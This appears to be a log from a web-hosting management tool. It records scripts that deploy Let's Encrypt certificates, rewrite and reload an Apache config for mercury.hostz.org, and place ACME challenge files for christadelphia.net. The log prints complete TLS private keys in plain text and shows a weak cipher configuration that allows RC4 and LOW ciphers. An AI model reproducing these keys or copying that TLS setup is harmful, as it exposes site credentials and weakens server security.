YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-12-11 06:00:21:
chmod 755 /tmp/pkp874541; /tmp/pkp874541; rm /tmp/pkp874541
2025-12-11 06:00:21:
dir=/etc/ssl/certs
2025-12-11 06:00:21:
PUT: /tmp/pkp676781
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/pjy_mercury_us.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-12-11 06:00:21:
chmod 755 /tmp/pkp676781; /tmp/pkp676781; rm /tmp/pkp676781
2025-12-11 06:00:22:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/pjy_mercury_us.conf 38
<VirtualHost *:80>
ServerName mercury.hostz.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hostz_mercury
<Directory /var/www/hostz_mercury>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/pjy/mercury_access.log combined
ErrorLog /var/log/apache2/pjy/mercury_error.log
SetEnv pkp_uid 35
SetEnv pkp_owner nev
DirectoryIndex index.html index.htm index.php index.py
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>
<VirtualHost *:443>
ServerName mercury.hostz.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d
DocumentRoot /var/www/hostz_mercury
<Directory /var/www/hostz_mercury>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
<Location /server-status>
SetHandler server-status
AuthType Basic
AuthName "Server Status"
AuthUserFile /var/www/hostz_mercury/.htpasswd
require valid-user
</Location>
CustomLog /var/log/apache2/pjy/mercury_secure_access.log combined
ErrorLog /var/log/apache2/pjy/mercury_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-12-11 06:00:22:
PUT: /tmp/pkp780252
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=pjy_mercury_us.conf
TARGET=/etc/apache2/sites-enabled/pjy_mercury_us.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName mercury.hostz.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hostz_mercury
<Directory /var/www/hostz_mercury>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/pjy/mercury_access.log combined
ErrorLog /var/log/apache2/pjy/mercury_error.log
SetEnv pkp_uid 35
SetEnv pkp_owner nev
DirectoryIndex index.html index.htm index.php index.py
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>
<VirtualHost *:443>
ServerName mercury.hostz.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d
DocumentRoot /var/www/hostz_mercury
<Directory /var/www/hostz_mercury>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
<Location /server-status>
SetHandler server-status
AuthType Basic
AuthName "Server Status"
AuthUserFile /var/www/hostz_mercury/.htpasswd
require valid-user
</Location>
CustomLog /var/log/apache2/pjy/mercury_secure_access.log combined
ErrorLog /var/log/apache2/pjy/mercury_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/pjy_mercury_us.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/pjy_mercury_us.conf)= /etc/apache2//etc/apache2/sites-enabled/pjy_mercury_us.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/pjy_mercury_us.conf= 1'
fi
2025-12-11 06:00:22:
chmod 755 /tmp/pkp780252; /tmp/pkp780252; rm /tmp/pkp780252
2025-12-11 06:00:22:
2025-12-11 06:00:22:
PUT: /tmp/pkp804679
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-12-11 06:00:23:
chmod 755 /tmp/pkp804679; /tmp/pkp804679; rm /tmp/pkp804679
2025-12-11 06:00:23:
.
2025-12-11 06:00:23: Establishing a connection
2025-12-11 06:00:24:
PUT: /tmp/pkp954057
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-12-11 06:00:26:
chmod 755 /tmp/pkp954057; /tmp/pkp954057; rm /tmp/pkp954057
2025-12-11 06:00:26:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server localhost.localdomain (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost localhost.localdomain (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost n-e-v.info (/etc/apache2/sites-enabled/n-e-v_www_info.conf:2)
alias www.n-e-v.info
port 80 namevhost mercury.hostz.org (/etc/apache2/sites-enabled/pjy_mercury_us.conf:2)
*:443 is a NameVirtualHost
default server n-e-v.info (/etc/apache2/sites-enabled/n-e-v_www_info.conf:21)
port 443 namevhost n-e-v.info (/etc/apache2/sites-enabled/n-e-v_www_info.conf:21)
alias www.n-e-v.info
port 443 namevhost mercury.hostz.org (/etc/apache2/sites-enabled/pjy_mercury_us.conf:23)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
2025-12-11 06:00:26:
PUT: /tmp/pkp761556
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/pjy_mercury_us.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-11 06:00:26:
chmod 755 /tmp/pkp761556; /tmp/pkp761556; rm /tmp/pkp761556
2025-12-11 06:00:27:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/pjy_mercury_us.conf 1579
<VirtualHost *:80>
ServerName mercury.hostz.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hostz_mercury
<Directory /var/www/hostz_mercury>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/pjy/mercury_access.log combined
ErrorLog /var/log/apache2/pjy/mercury_error.log
SetEnv pkp_uid 35
SetEnv pkp_owner nev
DirectoryIndex index.html index.htm index.php index.py
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>
<VirtualHost *:443>
ServerName mercury.hostz.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d
DocumentRoot /var/www/hostz_mercury
<Directory /var/www/hostz_mercury>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
<Location /server-status>
SetHandler server-status
AuthType Basic
AuthName "Server Status"
AuthUserFile /var/www/hostz_mercury/.htpasswd
require valid-user
</Location>
CustomLog /var/log/apache2/pjy/mercury_secure_access.log combined
ErrorLog /var/log/apache2/pjy/mercury_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-12-11 06:00:27:
PUT: /tmp/pkp868522
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-11 06:00:27:
chmod 755 /tmp/pkp868522; /tmp/pkp868522; rm /tmp/pkp868522
2025-12-11 06:00:28:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d 5361
0a:0b:5d:0b:9b:e9:c3:24:1d:be:c1:74:1c:17:9b:f0
-----BEGIN CERTIFICATE-----
MIIFBjCCA+6gAwIBAgISBmUbVmWuFCPdznIspdO5RL6lMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMjExMDUwMTQ1WhcNMjYwMzExMDUwMTQ0WjAcMRowGAYDVQQD
ExFtZXJjdXJ5Lmhvc3R6Lm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBANpK2OirhuSMTrU+2s1kxVM+YBB95RKSqlO6hEOZPtf7+G9hb2vw965jclOF
tBEcJUpWiUS4X5LMMw5o6A7jpBd7Pp3aF5cXimSgPRrR5W+7YdlODnx7/0raHIXC
3FpQxmTjEbMFPeFVM76C6/KbwIbTTjtvUiR8hIG2IxiT3CSshq/xx/VdFrxYkUI/
GRrzJjcgU9otVJmQBeLcZGLQ4GzEzdDS6PM6Ga+mlbHFCaU4zIBegVEyf57EMrBa
YGUjYmPNig8jOS07FkY/GYjIsdd91eTZ8W+U3B4Aom03+9ddVGkl9pDm/Oys9YTC
ZNfEZaOQ118+BdJpHnIYc52tyIsCAwEAAaOCAikwggIlMA4GA1UdDwEB/wQEAwIF
oDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAd
BgNVHQ4EFgQUtr4PAJgrqetHtfF/MP8dQnAYgz0wHwYDVR0jBBgwFoAUALUp8i2O
bzHom0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRw
Oi8vcjEyLmkubGVuY3Iub3JnLzAcBgNVHREEFTATghFtZXJjdXJ5Lmhvc3R6Lm9y
ZzATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1odHRwOi8v
cjEyLmMubGVuY3Iub3JnLzM4LmNybDCCAQwGCisGAQQB1nkCBAIEgf0EgfoA+AB3
AMs49xWJfIShRF9bwd37yW7ymlnNRwppBYWwyxTDFFjnAAABmwv+7sQAAAQDAEgw
RgIhALl/+9nFxDJhN3DtZ+O2nGYdTHxKCevEHV4SnHXoaCTfAiEAzXpo0KzjQBtQ
YKe+WEwv+mfFiFYPmYq0oeWlLMkWQcIAfQClyXiSXVdGF4KHDdiJZgtcVWSLfQBA
8uwHaFHRiGkZ9wAAAZsL/vDWAAgAAAUAKyw84QQDAEYwRAIgfHJoOFLtio4ZVZR7
kbzbcwDLoSaFltp9rk2+s9rvK1MCIFH17X521BPz25XZDY0N+d2UuQO/K1U3dIDc
nEUlqxsdMA0GCSqGSIb3DQEBCwUAA4IBAQBQyIeht9g3MxOUI3ttEo+En+FEbxut
WaUQE+5U3Rc5/+xoUD+IJf2BrX6BGA9UvdCHvneOWxuYHVARvjh98Nl5Ije/T81w
Tou5MWz0AhbB2u956twmAh9K0WmTxjJbDHIPNc1u3jTMICQqIUb9zdkSTwJLTRtZ
8EvSUvUlK49fbThM89kyTBkGUPI/elcawQzEkRnoBywQFzyQKjFvKUkFdhqiPK1i
WiVHSb1/7lCDUTSz1ynnHShQ5zf0njNmRD073/bNwC6ZdxNkHWhuMQk1wXHbLwGA
7EibHSCFWKOzmnNoUkI4jIRqrYiYh32Ew2iZW2eXvaqaeB9sx/nRPgUv
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDaStjoq4bkjE61
PtrNZMVTPmAQfeUSkqpTuoRDmT7X+/hvYW9r8PeuY3JThbQRHCVKVolEuF+SzDMO
aOgO46QXez6d2heXF4pkoD0a0eVvu2HZTg58e/9K2hyFwtxaUMZk4xGzBT3hVTO+
guvym8CG0047b1IkfISBtiMYk9wkrIav8cf1XRa8WJFCPxka8yY3IFPaLVSZkAXi
3GRi0OBsxM3Q0ujzOhmvppWxxQmlOMyAXoFRMn+exDKwWmBlI2JjzYoPIzktOxZG
PxmIyLHXfdXk2fFvlNweAKJtN/vXXVRpJfaQ5vzsrPWEwmTXxGWjkNdfPgXSaR5y
GHOdrciLAgMBAAECggEAPolIwMc6+sizV7stBcCDw0hQTwkyEfMQdrItaAxD865M
yuPX/s1mt3/n5cOdBXXRvQ0zgAtt3elACzXEnVdb0BpPovsy3Ocyj4dUWhWdrDe7
XXy+K61+QpxfpXZgmEMhww9GJ8otoxs8mqx5GeTC8B0jAWXv22IMt/hM76KUY7C9
5QFExBmgg/Gh3IilvTC3YaxbkDisoROLltzgIeGmftgzEq6qHNVueXagPsVblUIu
QRdeNDhJCmeBrqgZYgjtuzTb3mEp+nffExW5EJe43+PNwAYSJIK/EltPfDEFHAbY
5bd2VsuE5HxQIyKwrjYx7ruUtj5laMPil3Xgtnf6KQKBgQDuzKzhHbRzYYp1Dwdi
oowkE8ur4e+EC31D+j8DT7zNBH09bLQd27GU35SNMey+bYmrctKdg1bie6hINwNA
rAkCD4IsTdTzMpP4A0JVyFUgs2AIRl9yrdS4QjaWYnErdlQYw9QRF/KeLi2+cBRx
srBEFVAEpx0YxZS8iPbo69Uh9QKBgQDqBAg990zyaswRSiidbLz04Ru55Fuw+rc+
LILw0dLTkw6jbWjOx78fljqPk9NoWPGGeyoiqvV2Z2ZqzkpR6Yflo2lA4uADvpsL
L8q1PVoy/uIZiry7gdSZNwRP7LfFMpTpm+ggszgyE0cLIOmepi2PBQkhj2KjdYCv
XgTPZcQwfwKBgAtMmf2I50nyWpfRXzsWj+UBHskCRtALryCxTZv9gOR+iuKGKzui
cpOlxKStsRMNoc7//uE/HrRWv46zM68ytLZpP3KTODlNslyw4smmUgjbE/cwRUHq
4b7aOzUAcXRqA+6sDXPFm1BKxRVWvlDm8Jo4G/Isah8K8k+9d1lsF0ilAoGAbbQ0
NPBxBxff0J8mSR6HunipKc0O2vm924y8Wa7TmdHPw/dvcbicNW+UxmgzbDB+EWA9
0YC5j6dLkPhiSOIkjhe8KOnywG6jemwOKEa5uTxZvEWY0oI7qxPqlplPUUe0HYu0
F1hNGNSGsoXcXz5iDzD6Jdx1DlHwYMW/lYaMoXsCgYEAkZpZ0W9vFt8yuRhWUKYj
hsrA3DCR9aBTH8CiT4NNOVuTZNfYgg45tFSzn+H59h7DqSD2LfJ3VnieTksf11Cu
ySjF+6IWdGxeHFTRuHNpRUhmxO3rZVnsyTMfksW+Iq+dHE9a/4ogsdLQqsLy2o+g
y/IzpphcQD82K4BHPFFDmnc=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
2025-12-11 06:00:28: Establishing a connection
2025-12-11 06:00:28: Establishing a connection
2025-12-11 06:00:28:
PUT: /tmp/pkp371762
#!/bin/bash
if [ -d "/var/www/christadelphia_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-12-11 06:00:34:
chmod 755 /tmp/pkp371762; /tmp/pkp371762; rm /tmp/pkp371762
2025-12-11 06:00:34:
1
2025-12-11 06:00:34: Establishing a connection
2025-12-11 06:00:35:
PUT: /tmp/pkp993214
#!/bin/bash
mkdir -p "/var/www/christadelphia_www/.well-known/acme-challenge/"
cd "/var/www/christadelphia_www/.well-known/acme-challenge/"
cat > G351ruJJyNnSwTzHx-VVLkMzfcEWOsyt9UFltHciw8U <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
G351ruJJyNnSwTzHx-VVLkMzfcEWOsyt9UFltHciw8U.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 G351ruJJyNnSwTzHx-VVLkMzfcEWOsyt9UFltHciw8U
cat > D1TS9Rq5TspwqncAg2ZmZ9zVRBo3L3DzsfDFhm5Gpg4 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
D1TS9Rq5TspwqncAg2ZmZ9zVRBo3L3DzsfDFhm5Gpg4.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 D1TS9Rq5TspwqncAg2ZmZ9zVRBo3L3DzsfDFhm5Gpg4
2025-12-11 06:00:35:
chmod 755 /tmp/pkp993214; /tmp/pkp993214; rm /tmp/pkp993214
2025-12-11 06:00:35:
2025-12-11 06:00:45: Establishing a connection
2025-12-11 06:00:46:
PUT: /tmp/pkp707550
#!/bin/bash
mkdir -p "/var/www/christadelphia_www/.well-known/acme-challenge/"
cd "/var/www/christadelphia_www/.well-known/acme-challenge/"
rm G351ruJJyNnSwTzHx-VVLkMzfcEWOsyt9UFltHciw8U
rm D1TS9Rq5TspwqncAg2ZmZ9zVRBo3L3DzsfDFhm5Gpg4
2025-12-11 06:00:46:
chmod 755 /tmp/pkp707550; /tmp/pkp707550; rm /tmp/pkp707550
2025-12-11 06:00:46:
2025-12-11 06:00:46: Establishing a connection
2025-12-11 06:00:46:
PUT: /tmp/pkp784197
#!/bin/bash
temp_file=$(mktemp)
TARGET=d91b2f0a4f6cfa0542190dabbd9574d1.crt
cat > $temp_file <<'endmsg'
a7:73:12:74:f7:6b:6c:38:7f:66:2c:be:19:63:09:96
-----BEGIN CERTIFICATE-----
MIIFHzCCBAegAwIBAgISBkzfrLcwbeJnTF3ravLJjGOeMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjExMDUwMjE1WhcNMjYwMzExMDUwMjE0WjAdMRswGQYDVQQD
ExJjaHJpc3RhZGVscGhpYS5uZXQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQDhgOIqqXs4/U9MbHVmQF9lZOVN6nvLZXbpJXyt5aMPgDrs4g0hz+J13OVG
jpwknYTY3btEsQerG7RcHkLnUAzfr0ys5Zan52gSjlv2R0UGs1DXYgcjuMDzSCk7
XA1By+jh4ZwhS37z/r1XFf2m2JuMMfxDnYcGdFetyTr4O0vaKHNMEZuNZQg/ey6z
aqfUjUhty36rcZUmVQ9n/jJG8b5EyCn7I2pQPP1O0OHJDyiizqR0oab7nDjuvghz
zyKcGLJomHy6eWRpA++qW3uqCoolK4LHvwbU9nRnsqcYkRKRqL4zhD/FqQMHAA4D
UYtXECdkrTDeCDiq/ckDPZWXW3FDAgMBAAGjggJBMIICPTAOBgNVHQ8BAf8EBAMC
BaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAw
HQYDVR0OBBYEFJMvi2AqlmrswK3gtJZFV+hMtqtrMB8GA1UdIwQYMBaAFOernw8s
M6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0
cDovL3IxMy5pLmxlbmNyLm9yZy8wNQYDVR0RBC4wLIISY2hyaXN0YWRlbHBoaWEu
bmV0ghZ3d3cuY2hyaXN0YWRlbHBoaWEubmV0MBMGA1UdIAQMMAowCAYGZ4EMAQIB
MC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMzEuY3Js
MIIBCwYKKwYBBAHWeQIEAgSB/ASB+QD3AHUAyzj3FYl8hKFEX1vB3fvJbvKaWc1H
CmkFhbDLFMMUWOcAAAGbC/9keQAABAMARjBEAiBF+UXvk45jtaby5iBqyLnJ2Gx5
C3W7wzG3Ijqr262HLgIgGYtm+wwBoy4fdKGLdelvAlFOLyDDLcRweT6nMycWkNYA
fgBxfpXzwjiKbbHjhEk9MeFaqWIIdi1CAOAFDNBntaZh4gAAAZsL/2TEAAgAAAUA
A9zNsAQDAEcwRQIhAJBgfZxVzVJTIQx5GWIgc6eZ9gpcokQwr/b8Hu7vr06xAiBf
FbwQSDFN4MoqE8sSstPXYnV1e3LJUPh+cH2yZqwKFDANBgkqhkiG9w0BAQsFAAOC
AQEAOCEzsxfLoiM8t1U1d8lf7rvi0yEULqq/TMomSuf62YPeVGY642OYq+5SmXQw
7FlOo4kDBWP+c8xHyKouB6Q5RbNilE17kEg6epHKfRiF56Ymj/K66mBAkQDXdkY9
/Uj0BHFsBD23zDb+G+OI+SX8Pg2TxfGtNea/KEfjHjFtvv/nQdIGrmb8CIXMW6bq
MWlrx+5HbPZrSiyL7/Eeufg1wsNo998Z3boIoXXwUjDa1vJU0Lw1v+2e79wTWXrv
vqWt9HZ9mfq5gYuGCon3cGMSFFhCyMpq0Z7PVO5wMljbJA+wiU4vpXplxHf0k3NA
6uDE5q+26dHs9gqslji995zcBA==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDhgOIqqXs4/U9M
bHVmQF9lZOVN6nvLZXbpJXyt5aMPgDrs4g0hz+J13OVGjpwknYTY3btEsQerG7Rc
HkLnUAzfr0ys5Zan52gSjlv2R0UGs1DXYgcjuMDzSCk7XA1By+jh4ZwhS37z/r1X
Ff2m2JuMMfxDnYcGdFetyTr4O0vaKHNMEZuNZQg/ey6zaqfUjUhty36rcZUmVQ9n
/jJG8b5EyCn7I2pQPP1O0OHJDyiizqR0oab7nDjuvghzzyKcGLJomHy6eWRpA++q
W3uqCoolK4LHvwbU9nRnsqcYkRKRqL4zhD/FqQMHAA4DUYtXECdkrTDeCDiq/ckD
PZWXW3FDAgMBAAECggEBAL/8bpFLwbD/WKgEHt9zJsS4ZdE0NTkxpU9RrxiOTYlA
7uoGeo+y4WbfLgQoHh++TAAmpu0Qmyq+Z4uV5/fvW0aFhI4e2WkRxrUlpn3Cp63Q
tJ7qwpFTFlMJuLDk6hR+ekL1RWvDTs6ErsaZ3l5SQ/vUAqW+U9rW6l7219HHCgks
lbV8gzGQ+fNPcA95bNnwyixatKTNJuyf2Xi6Nq83xCvhnuYBc6kS88+joIkDQmQj
u2q5d/Y5pj91KmHmnNaM3Cxg4lFJqN1ALO9yMuy52pigmGFc2klDu0ffs2wtgdiV
t0HWMwMd+6QGIIBxhHg+dA6Cd35FkBUUoHijRWzUEmECgYEA+WWW0SM1A1e9Wb2v
p9RJkoO0lycRu4NFktSo/aCj4Q4nPHbafCebyH0ACDIdkF3muyKIphZQrCO3MChJ
0UaH/COGlT0/u/Rpl3yJIRsaMUcERG9T5XJ+lUFzabqeNw57VQHNRpktvMfOaBTn
mIqyRDH/hs3eoX5ZFx3xrWJrqJcCgYEA53lYVvxm1ytYlWjw6xmxkY1/KSXsgWhy
